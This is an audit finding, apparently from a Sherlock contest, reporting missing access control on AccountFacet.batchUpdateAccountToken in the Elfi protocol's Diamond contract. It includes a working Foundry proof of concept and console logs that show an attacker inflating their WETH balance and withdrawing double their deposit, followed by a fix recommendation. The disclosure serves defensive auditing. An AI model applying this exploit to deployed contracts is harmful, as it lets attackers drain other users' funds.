Magic Black Crane

High

# AccountFacet.batchUpdateAccountToken function is missing access control

## Summary

The `AccountFacet.batchUpdateAccountToken()` function can be called by anyone to increase their account token balance at no cost, allowing them to withdraw funds and drain the Diamond contract.

## Vulnerability Detail

The `AccountFacet` implements the function `batchUpdateAccountToken()`:
```solidity
function batchUpdateAccountToken(AssetsProcess.UpdateAccountTokenParams calldata params) external override {
    AddressUtils.validEmpty(params.account);
    AssetsProcess.updateAccountToken(params);
}
```

However, this function can be called by any user allowing them to increase their account token balance at no cost. For example in the POC below, we can see how:

- user2 deposits 1e18 WETH.
- user1 deposits 1e18 WETH.
- user1 calls `batchUpdateAccountToken()` increasing its WETH balance by 1e18.
- user1 then creates a withdraw request of 2e18 WETH.
- The withdraw is executed and user1 has received 2e18.
- This can be done with any asset to drain the Diamond contract.

POC:
```solidity
function test_1() public {
    console.log(StdStyle.yellow("\n\ntest_1()"));
    console.log(StdStyle.yellow("__________________________\n"));

    deal(address(contract_WETH), user1, 1e18);
    deal(address(contract_WETH), user2, 1e18);

    vm.startPrank(user2, user2);
    console.log(StdStyle.red("contract_WETH.balanceOf(user2) -> %s"), contract_WETH.balanceOf(user2));
    console.log(StdStyle.yellow("\nUSER2(%s) calls < contract_WETH.approve(contract_Diamond, 1e18) >"), user2);
    contract_WETH.approve(address(contract_Diamond), 1e18);
    console.log(StdStyle.yellow("\nUSER2(%s) calls < AccountFacet(payable(address(contract_Diamond))).deposit(contract_WETH, 1e18) >"), user2);
    AccountFacet(payable(address(contract_Diamond))).deposit(address(contract_WETH), 1e18);
    console.log(StdStyle.red("contract_WETH.balanceOf(user2) -> %s"), contract_WETH.balanceOf(user2));
    vm.stopPrank();

    vm.startPrank(user1, user1);
    console.log(StdStyle.red("contract_WETH.balanceOf(user1) -> %s"), contract_WETH.balanceOf(user1));
    console.log(StdStyle.yellow("\nUSER1(%s) calls < contract_WETH.approve(contract_Diamond, 1e18) >"), user1);
    contract_WETH.approve(address(contract_Diamond), 1e18);
    console.log(StdStyle.yellow("\nUSER1(%s) calls < AccountFacet(payable(address(contract_Diamond))).deposit(contract_WETH, 1e18) >"), user1);
    AccountFacet(payable(address(contract_Diamond))).deposit(address(contract_WETH), 1e18);
    console.log(StdStyle.red("contract_WETH.balanceOf(user1) -> %s"), contract_WETH.balanceOf(user1));

    _consoleLogAccInfo(user1);

    AssetsProcess.UpdateAccountTokenParams memory _params;
    _params.account = user1;
    address[] memory _tokens = new address[](1);
    _tokens[0] = address(contract_WETH);
    int256[] memory _changedTokenAmounts = new int256[](1);
    _changedTokenAmounts[0] = int256(1e18);
    _params.tokens = _tokens;
    _params.changedTokenAmounts = _changedTokenAmounts;
    console.log(StdStyle.yellow("\nUSER1(%s) calls < AccountFacet(payable(address(contract_Diamond))).batchUpdateAccountToken(_params) >"), user1);
    AccountFacet(payable(address(contract_Diamond))).batchUpdateAccountToken(_params);

    _consoleLogAccInfo(user1);

    console.log(StdStyle.red("contract_WETH.balanceOf(user1) -> %s"), contract_WETH.balanceOf(user1));
    console.log(StdStyle.yellow("\nUSER1(%s) calls < AccountFacet(payable(address(contract_Diamond))).createWithdrawRequest(address(contract_WETH), 2e18) >"), user1);
    AccountFacet(payable(address(contract_Diamond))).createWithdrawRequest(address(contract_WETH), 2e18);
    console.log(StdStyle.red("contract_WETH.balanceOf(user1) -> %s"), contract_WETH.balanceOf(user1));
    vm.stopPrank();

    vm.startPrank(owner, owner);
    // function executeWithdraw(uint256 requestId, OracleProcess.OracleParam[] calldata oracles)
    OracleProcess.OracleParam[] memory _oracles = new OracleProcess.OracleParam[](1);
    _oracles[0].token = address(contract_WETH);
    _oracles[0].targetToken = address(0);
    _oracles[0].minPrice = int256(3600e8);
    _oracles[0].maxPrice = int256(3600e8);
    console.log(StdStyle.yellow("\nUSER1(%s) calls < AccountFacet(payable(address(contract_Diamond))).executeWithdraw(1112, _oracles) >"), user1);
    AccountFacet(payable(address(contract_Diamond))).executeWithdraw(1112, _oracles);
    console.log(StdStyle.red("contract_WETH.balanceOf(user1) -> %s"), contract_WETH.balanceOf(user1));

    _consoleLogAccInfo(user1);
    vm.stopPrank();
}
```

Console logs:
```solidity
test_1()
  __________________________

  contract_WETH.balanceOf(user2) -> 1000000000000000000
  
USER2(0x88C0e901bd1fd1a77BdA342f0d2210fDC71Cef6B) calls < contract_WETH.approve(contract_Diamond, 1e18) >
  
USER2(0x88C0e901bd1fd1a77BdA342f0d2210fDC71Cef6B) calls < AccountFacet(payable(address(contract_Diamond))).deposit(contract_WETH, 1e18) >
  contract_WETH.balanceOf(user2) -> 0
  contract_WETH.balanceOf(user1) -> 1000000000000000000
  
USER1(0xE6b3367318C5e11a6eED3Cd0D850eC06A02E9b90) calls < contract_WETH.approve(contract_Diamond, 1e18) >
  
USER1(0xE6b3367318C5e11a6eED3Cd0D850eC06A02E9b90) calls < AccountFacet(payable(address(contract_Diamond))).deposit(contract_WETH, 1e18) >
  contract_WETH.balanceOf(user1) -> 0
  
USER1(0xE6b3367318C5e11a6eED3Cd0D850eC06A02E9b90) calls < AccountFacet(payable(address(contract_Diamond))).batchUpdateAccountToken(_params) >
  
  contract_WETH.balanceOf(user1) -> 0
  
USER1(0xE6b3367318C5e11a6eED3Cd0D850eC06A02E9b90) calls < AccountFacet(payable(address(contract_Diamond))).createWithdrawRequest(address(contract_WETH), 2e18) >
  contract_WETH.balanceOf(user1) -> 0
  
OWNER(0xd9A284367b6D3e25A91c91b5A430AF2593886EB9) calls < AccountFacet(payable(address(contract_Diamond))).executeWithdraw(1112, _oracles) >
  contract_WETH.balanceOf(user1) -> 2000000000000000000
```

## Impact

High, as the `Diamond` contract can be totally drained.

## Code Snippet

- [AccountFacet.sol#L68-L71](https://github.com/sherlock-audit/2024-05-elfi-protocol/blob/main/elfi-perp-contracts/contracts/facets/AccountFacet.sol#L68-L71)

## Tool used

Manual Review

## Recommendation

Consider removing the `AccountFacet.batchUpdateAccountToken()` function or implementing some sort of access control.
